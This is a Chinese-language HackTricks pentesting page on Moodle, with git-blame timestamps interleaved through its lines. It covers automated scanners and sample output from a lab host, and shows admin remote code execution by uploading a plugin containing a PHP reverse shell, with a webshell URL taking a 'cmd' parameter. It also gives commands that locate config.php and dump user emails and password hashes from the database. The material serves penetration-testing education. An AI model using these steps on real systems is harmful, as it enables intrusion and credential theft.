2022-05-24 00:07:19 +00:00
|
|
|
|
# Moodle
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
* 如果您在**网络安全公司**工作?您想在**HackTricks中看到您的公司广告**?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter上**[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**关注我**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
2022-05-24 00:07:19 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
如果您对**黑客职业**感兴趣,并且想要黑掉不可黑的 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。
|
2022-05-24 00:07:19 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 自动扫描
|
2021-04-05 22:03:17 +00:00
|
|
|
|
|
2022-05-24 00:07:19 +00:00
|
|
|
|
### droopescan
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
|
|
|
|
pip3 install droopescan
|
|
|
|
|
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
[+] Plugins found:
|
|
|
|
|
forum http://moodle.schooled.htb/moodle/mod/forum/
|
|
|
|
|
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
|
|
|
|
|
http://moodle.schooled.htb/moodle/mod/forum/version.php
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
|
|
|
|
[+] No themes found.
|
|
|
|
|
|
|
|
|
|
[+] Possible version(s):
|
2023-08-03 19:12:22 +00:00
|
|
|
|
3.10.0-beta
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
|
|
|
|
[+] Possible interesting urls found:
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
|
|
|
|
|
Admin panel - http://moodle.schooled.htb/moodle/login/
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
|
|
|
|
[+] Scan finished (0:00:05.643539 elapsed)
|
|
|
|
|
```
|
2022-05-24 00:07:19 +00:00
|
|
|
|
### moodlescan
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
(Translation not required for the title as per instructions)
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
moodlescan 是一个针对 Moodle 平台的自动化扫描工具。它可以帮助您发现潜在的安全漏洞和配置错误。
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
|
|
|
|
#Install from https://github.com/inc0d3/moodlescan
|
|
|
|
|
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
|
|
|
|
|
|
|
|
|
Version 0.7 - Dic/2020
|
|
|
|
|
.............................................................................................................
|
|
|
|
|
|
|
|
|
|
By Victor Herrera - supported by www.incode.cl
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
2021-04-07 22:08:15 +00:00
|
|
|
|
.............................................................................................................
|
|
|
|
|
|
|
|
|
|
Getting server information http://moodle.schooled.htb/moodle/ ...
|
|
|
|
|
|
|
|
|
|
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
|
|
|
|
|
x-powered-by : PHP/7.4.15
|
|
|
|
|
x-frame-options : sameorigin
|
|
|
|
|
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
|
|
|
|
|
|
|
|
|
|
Getting moodle version...
|
|
|
|
|
|
|
|
|
|
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
|
|
|
|
|
|
|
|
|
|
Searching vulnerabilities...
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Vulnerabilities found: 0
|
|
|
|
|
|
|
|
|
|
Scan completed.
|
|
|
|
|
```
|
2022-05-24 00:07:19 +00:00
|
|
|
|
### CMSMap
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
2022-10-27 15:22:10 +00:00
|
|
|
|
pip3 install git+https://github.com/dionach/CMSmap.git
|
2021-04-07 22:08:15 +00:00
|
|
|
|
cmsmap http://moodle.example.com/<moodle_path>
|
|
|
|
|
```
|
2022-05-24 00:07:19 +00:00
|
|
|
|
### CVEs
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
我发现自动工具在**发现影响moodle版本的漏洞**方面几乎**无用**。你可以在[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)上**检查**它们。
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
## **RCE**
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
你需要拥有**管理员**角色,并且可以在**"网站管理"**标签下**安装插件**:
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
![](<../../.gitbook/assets/image (447).png>)
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
如果你是管理员,你可能仍需要**激活这个选项**。你可以在moodle权限提升PoC中看到如何操作:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
然后,你可以**安装以下插件**,它包含了经典的pentest-monkey php r**ev shell**(_在上传之前你需要解压它,更改revshell的IP和端口,然后再次压缩它_)
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
|
|
|
|
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
|
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
或者你可以使用来自[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)的插件来获取带有"cmd"参数的常规PHP shell。
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
要访问并启动恶意插件,你需要访问:
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
|
|
|
|
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|
|
|
|
```
|
2022-05-24 00:07:19 +00:00
|
|
|
|
## POST
|
2021-04-07 22:08:15 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
### 查找数据库凭证
|
2021-04-07 22:08:15 +00:00
|
|
|
|
```bash
|
|
|
|
|
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
|
|
|
|
```
|
2023-12-26 02:11:12 +00:00
|
|
|
|
### 从数据库中导出凭证
|
2021-04-05 22:03:17 +00:00
|
|
|
|
```bash
|
|
|
|
|
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
|
|
|
|
```
|
2023-12-26 02:11:12 +00:00
|
|
|
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
如果您对**黑客职业**感兴趣,并且想要黑进那些不可黑的系统 - **我们正在招聘!**(_需要流利的波兰语书写和口语_)。
|
2022-05-24 00:07:19 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-16 05:11:08 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-12-26 02:11:12 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要获得**PEASS最新版本**或**下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|